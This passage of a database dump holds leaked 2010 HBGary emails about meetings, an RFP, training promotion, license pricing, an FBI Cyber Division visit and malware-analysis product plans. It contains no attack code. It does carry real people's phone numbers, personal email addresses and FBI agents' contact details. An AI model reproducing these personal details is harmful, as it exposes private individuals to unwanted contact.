916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\nhttps://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4222,'aaron_hbgary_com/4222.html'),(11466,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008652.M589739P14101Q6321.eml','azollman@palantir.com,aaron@hbgary.com,mark@hbgary.com','GoToMeeting Invitation - TMC Discussions','1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\nhttps://www1.gotomeeting.com/join/397597081\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 914-339-0016\r\nAccess Code: 397-597-081\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 397-597-081\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n',3592,'aaron_hbgary_com/3592.html'),(11467,'2010-09-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008652.M814939P14101Q6322.eml','tjriesen@archimedesglobal.com,\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN/ROMAS RFP','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat thanks for the help.&nbsp; I&#8217;ll let you know if I\r\nhear anything else.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\ntjriesen@archimedesglobal.com [mailto:tjriesen@archimedesglobal.com] \r\nSent: Wednesday, September 08, 2010 1:28 PM\r\nTo: Aaron Barr\r\nCc: Clair, Chris (TASC)\r\nSubject: Re: COIN/ROMAS RFP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk - tried to reach him. No luck. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Wed, 8 Sep 2010 13:22:15 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo: tjriesen@archimedesglobal.com&lt;tjriesen@archimedesglobal.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Christopher\r\nClair&lt;christopher.clair@tasc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: COIN/ROMAS RFP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am not certain. &nbsp;They may have gone a different route\r\nwhen the switched focus.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 1:12 PM, tjriesen@archimedesglobal.com\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI have Rich\'s desk number, cell\r\nand personal email. However, when I asked him about this before, he said COIN\r\nwas an old market survey and he didn\'t know anything current. If you\'re certain\r\nhe has knowledge of the RFP, I can put in a call. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: Wed, 8 Sep 2010 12:58:21 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: COIN/ROMAS RFP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave u contacted rich hall? &nbsp;Ted has his personal cell\r\nwe can try that but only if your not having luck reaching him. &nbsp;I am going\r\nto see johns volleyball team play on saturday and can ask then.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 12:21 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have not received the\r\nRFP yet.&nbsp; We have called the COIN/ROMAS PMO and have received no\r\nanswer.&nbsp; You guys got any other\r\nways of checking on the status?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; |Chris Clair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2194,'aaron_hbgary_com/2194.html'),(11468,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008653.M223356P14101Q6324.eml','\"Mark Spencer\" <mark.l.spencer@ngc.com>,\"Kevin Spease\" <kevin.spease@gmail.com>,\"Mark Spencer\" <mark.l.spencer@ngc.com>','Social Media / Info Recon Training','Hi Mark & Kevin\r\n\r\nHBGary Federal would like to offer a 20% discount to ISSA Colorado\r\nSprings and Sacramento members for our Social Media & Information\r\nReconnaissance training between now and the end of this year.  Draft\r\nbrochure attached.  I\'d appreciate any comments/feedback/suggestions.\r\nIs this something you can help promote?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15980,'aaron_hbgary_com/15980.html'),(11469,'2010-09-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008653.M30896P14101Q6323.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: secDev','Sure what would you like to do?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 10:05 AM\r\nTo: Penny Leavy\r\nSubject: secDev\r\n\r\nPenny,\r\n\r\nSecDev is wanting to buy a copy of responder pro.  They have an\r\ninvestigation coming up with a large US telco and would like to use\r\nand promote responder and HBGary.  Can we cut them a deal?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',6757,'aaron_hbgary_com/6757.html'),(11470,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008653.M947758P14101Q6325.eml','\"Mark Spencer\" <mark.l.spencer@ngc.com>,\"Kevin Spease\" <kevin.spease@gmail.com>,\"Mark Spencer\" <mark.l.spencer@ngc.com>','Re: Social Media / Info Recon Training','This time with attachment...\r\n\r\nOn Wed, Sep 8, 2010 at 12:20 PM, Ted Vera  wrote:\r\n> Hi Mark & Kevin\r\n>\r\n> HBGary Federal would like to offer a 20% discount to ISSA Colorado\r\n> Springs and Sacramento members for our Social Media & Information\r\n> Reconnaissance training between now and the end of this year.  Draft\r\n> brochure attached.  I\'d appreciate any comments/feedback/suggestions.\r\n> Is this something you can help promote?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14828,'aaron_hbgary_com/14828.html'),(11471,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008654.M229748P14101Q6326.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: SecDev - licenses','Well in this scenario what have u done in the past?  Total price is normally around 15k right?  Can we sell it 50% or is that too steep?AaronSent from my iPhone\r\nBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: September 7, 2010 4:43:19 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;Subject: Re: SecDev - licenses\r\nHi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\nRafal.  I am very sorry to hear of your circumstances.  I understand.  I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav.  I will get that quote out to you asap.\r\nLet me know when you are ready to reengage.  We have started down a social media path that you might find interesting.  Attached is a brochure for our social media training.  For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training.  So far that is going well for us.\r\nAaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\nDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal&#39;s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal&#39;s time for August and this month has been heavily sidetracked.\r\nWe are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you&#39;ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\nOn the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,Arnav\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (438) 885-3328E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n',304,'aaron_hbgary_com/304.html'),(11472,'2010-09-08','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008654.M481631P14101Q6327.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Vince has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Vince are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Vince Castanza \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Senior Computer Security Technician NGIT/TASC\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Vince\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          vcast@yahoo.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Vince\'s Connections (36) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Stephanie Senner\r\n                ,\r\n                  Supergirl.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jim Hansen\r\n                ,\r\n                  Vice President, Sales at Intrepidus Group, Inc.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Vincent Parks\r\n                ,\r\n                  Software Test Engineer at Siemens Building Technologies\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Matthew Pepe\r\n                ,\r\n                  Technical Director at Mandiant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Vince\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     NGIT\r\n                    \r\n                      Vince works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     AT&amp;T\r\n                    \r\n                      Vince worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     US Army\r\n                    \r\n                      Vince worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SAIC\r\n                    \r\n                      Vince knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',7138,'aaron_hbgary_com/7138.html'),(11473,'2010-09-08','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008654.M715960P14101Q6328.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,mark@hbgary.com','RE: GoToMeeting Invitation - TMC Discussions','Ted & Mark --\r\n\r\n	I\'m glad we were able to talk through some of the integration points today; I think I have a better feel for what\'s available and what work needs to be done.\r\n\r\n	FYI, attached is the output of the fingerprint.exe scanner the one time I ran it. I\'m not sure whether I didn\'t correctly have fingerprint extensions on my path, or what exactly the issue was (maybe they just weren\'t malware... though I doubt it), but the attached XML only recorded filenames and hashes for the files. I assume this means I\'m missing something.\r\n\r\n	Thanks again for your help. \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, September 08, 2010 2:00 PM\r\nTo: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\nSubject: GoToMeeting Invitation - TMC Discussions\r\n\r\n1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\nhttps://www1.gotomeeting.com/join/397597081\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 914-339-0016\r\nAccess Code: 397-597-081\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 397-597-081\r\n\r\nGoToMeeting(r)\r\nOnline Meetings Made Easy(tm)\r\n',6949,'aaron_hbgary_com/6949.html'),(11474,'2010-09-08','\"Kevin Spease\" <kevin.spease@gmail.com>','/aaron@hbgary.com/new/1297008654.M930757P14101Q6329.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Social Media / Info Recon Training','We can help promote it.\r\nIt would be no problem to put it in our email blast and place a few fliers on the table at the meeting.  We don&#39;t charge a fee for that.  And, given HBGary&#39;s support earlier this year, it won&#39;t be a problem.\r\n\r\n \r\nBut I do have some comments / questions about the program overall...\r\n \r\n1) From the brochure, I get the impression that the course deals with an enterprise being the primary target with the employee being an unwitting dupe (attacking the company THRU the employee).  Now that companies are presenting themselves in social media, are they making critical errors that need remediation / consideration?  Is that covered in the course?\r\n\r\n2) &quot;Risk&quot; is always a discussion that makes people bristle (at least it does me due to the subjective nature).  However, is there a way to determine a company&#39;s &quot;risk profile&quot; (How &quot;exposed&quot; am I?) and is that covered in the course?\r\n\r\n3) I see several course delivery methods.  What did you envision for the courses in Sacramento?  On ground at the HBGary facility?\r\n \r\nIt is an interesting course - I think it would be good.  I think the primary issue is helping companies to answer the &quot;So What&quot; question.  My general impression is that most companies believe there is very little they can do.  So, it seems that calling them to action will be a challenge.  If they think, &quot;who cares&quot; and &quot;nothing I can do about it&quot; then you would have a tough sell... Right?\r\n\r\nOn Wed, Sep 8, 2010 at 11:22 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nThis time with attachment...\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 12:20 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt; Hi Mark &amp; Kevin&gt;&gt; HBGary Federal would like to offer a 20% discount to ISSA Colorado\r\n&gt; Springs and Sacramento members for our Social Media &amp; Information&gt; Reconnaissance training between now and the end of this year.  Draft&gt; brochure attached.  I&#39;d appreciate any comments/feedback/suggestions.\r\n&gt; Is this something you can help promote?&gt;&gt; Thanks,&gt; Ted&gt;&gt; --&gt; Ted Vera  |  President  |  HBGary Federal&gt; Office 916-459-4727x118  | Mobile 719-237-8623&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;--Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',402,'aaron_hbgary_com/402.html'),(11475,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008655.M151895P14101Q6330.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC Charts','Mark has the upload working, and it\'s populating the database now.  Progress...\r\n\r\n\r\n1.  Please join my meeting, Wednesday, September 08 at 03:00 PM MDT.\r\nhttps://www1.gotomeeting.com/join/345915721\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 217-287-4114\r\nAccess Code: 345-915-721\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 345-915-721\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n',857,'aaron_hbgary_com/857.html'),(11476,'2010-09-08','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008655.M478672P14101Q6331.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','HB Gary Presentation','Aaron,\r\n\r\nListed below are the attendees from Cyber Division HQ:\r\n\r\nSSA Chris Geary                        Christopher.geary@ic.fbi.gov\r\nAD Special Advisor  Bill Jones    William.Jones3@ic.fbi.gov\r\nSSA Zach Delecki                        Zachary.Delecki@ic.fbi.gov\r\n\r\n\r\nThe date of the meeting will be 09/15/2010 from 1:30 to 3:30 PM at your Tyson\'s Corner office space, correct?\r\n\r\nChris \r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Wednesday, September 08, 2010 12:59 PM\r\nTo: Geary, Christopher A.\r\nSubject: Re: FIRST Conference in Miami\r\n\r\nThat will be fine.  Would you like me to send out a meeting notice?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Sep 8, 2010, at 10:45 AM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> If possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 9:52 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> is this for next Wed? or another day?\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>>\r\n>> Chris\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Geary, Christopher A.\r\n>> Sent: Tue Sep 07 16:56:42 2010\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> Sure.  I normally use the offices in Tysons Corner but I can check\r\n>> other locations that might be closer to you.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>>\r\n>>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Chris,\r\n>>>\r\n>>> Sure either week is fine with me.  Let me know what works for you.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>>\r\n>>>> Thanks,\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>> ________________________________________\r\n>>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>>> To: Geary, Christopher A.\r\n>>>> Subject: Re: FIRST Conference in Miami\r\n>>>>\r\n>>>> Hi Chris,\r\n>>>>\r\n>>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>>\r\n>>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>>\r\n>>>>> Thank You,\r\n>>>>>\r\n>>>>> Chris\r\n>>>>>\r\n>>>>>\r\n>>>>> SSA Christopher A. Geary\r\n>>>>> CERT/CC Liaison\r\n>>>>> 3238 CIC\r\n>>>>> Pittsburgh, PA 15213\r\n>>>>>\r\n>>>>> (412) 268-9244\r\n>>>>\r\n>>>\r\n>\r\n',6046,'aaron_hbgary_com/6046.html'),(11477,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008657.M882044P14101Q6332.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC Charts','Attached.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',12708,'aaron_hbgary_com/12708.html'),(11478,'2010-09-08','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008658.M183070P14101Q6333.eml','\"Aaron Barr\" <aaron@hbgary.com>','Clearance','Hey Aaron,\r\n \r\nWas just wondering about the steps to getting my clearance reestablished, and the possibility of getting SCI level.  My local FBI agents are inquiring, and said SCI would be beneficial for me to have given the information I usually provide to them ends up at that level.\r\n\r\n \r\nAlso, did you want me to send out emails to my forensic mailing lists for interested applicants?  Let me know and I can take care of that.\r\n \r\nThanks,\r\n \r\nMatt\r\n \r\n \r\n',4887,'aaron_hbgary_com/4887.html'),(11479,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008658.M374936P14101Q6334.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TMC','---------- Forwarded message ----------\r\nFrom: Bob Slapnik \r\nDate: Thu, Aug 5, 2010 at 4:52 PM\r\nSubject: TMC\r\nTo: Greg Hoglund , Ted Vera , \"Penny\r\nC. Hoglund\" , \"Michael G. Spohn\" ,\r\n\"Rich Cummings (HBGary)\" , phil@hbgary.com\r\n\r\n\r\nGreg, Ted, Penny, Mike, Rich and Phil,\r\n\r\n\r\n\r\nI was talking with Ted about TMC.  He said the plan is build it using\r\nFlypaper, not REcon.  I can think of use cases where TMC will need to\r\nhave REcon.\r\n\r\n\r\n\r\nIn the event that the customer has a load of binaries and wants an\r\nautomated way to slim the list down to those that might be malware,\r\nthen yes using Flypaper combined with DDNA will do that.  That\r\nparticular use case is solved.\r\n\r\n\r\n\r\nYou will both agree that HBGary’s big money is in enterprise sales of\r\nAD.  Suppose the customer uses AD to run a DDNA enterprise sweep and\r\nflags multiple binaries as red.  Many of our customers, perhaps most,\r\ndon’t have r/e skills in-house so they will want an automated way to\r\nperform further analysis on the flagged binaries.  An automated\r\nversion of REcon within TMC will do that.  They already will have the\r\nDDNA scores, so using just Flypaper/DDNA adds nothing.\r\n\r\n\r\n\r\nConsider this.  Ultimately, it would be powerful to have AD\r\nautomatically send flagged red binaries to TMC for further automated\r\nanalysis.  The customer would get DDNA scores and deeper detailed\r\nruntime behaviors.  A human reads the results.  Manual analysis is\r\nreduced.  We maximize end-to-end automation from endpoint detection to\r\ncentralized threat information.\r\n\r\n\r\n\r\nAbout 2 weeks ago, Penny, Greg, Mike and I discussed HBGary’s internal\r\nprocesses for managed services.  The idea was that a junior engineer\r\nin Sac could review DDNA alerts and run the binaries through REcon to\r\nquickly determine if they are malware or not.  TMC with REcon is\r\nconsistent with this methodology.\r\n\r\n\r\n\r\nI like REcon, but lots of our Responder customers are intimidated by\r\nit.  As currently implemented, REcon takes too much set up time, a\r\nuser has to manually run it, import the journal file into Responder,\r\nand view low level data.  I view that TMC could automate this\r\ncompletely.  TMC runs any number of binaries and generates summarized,\r\nuser consumable data.\r\n\r\n\r\n\r\nYes, TMC could cut into our managed services business, but I believe\r\nthat providing the very best software tools 